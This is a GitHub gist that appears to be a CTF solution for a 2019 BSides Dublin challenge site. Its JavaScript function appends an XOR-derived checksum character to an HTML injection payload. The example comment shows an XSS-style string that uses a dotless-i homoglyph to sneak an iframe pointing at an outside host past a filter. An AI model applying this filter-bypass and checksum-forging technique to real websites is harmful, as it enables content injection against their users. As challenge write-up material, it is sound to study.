Created
March 30, 2019 19:36
-
-
Save pasterp/173f0e6f75038a64c4189141af6e4536 to your computer and use it in GitHub Desktop.
Complete payload for https://bsides2019dublin.h4cktheplanet.com
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//example: completePayload('<Kbd/id="template"><ıframe/src=//github.phelipot.me>') | |
function completePayload(payload) { | |
step1 = Array.from(payload) | |
var value = 1337; | |
var i; | |
for (i = 0; i < step1.length; i++) { | |
c = step1[i]; | |
code = c.codePointAt(0); | |
value = value ^ code ^ i; | |
} | |
return payload + String.fromCodePoint(1337 ^ value ^ (i)); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment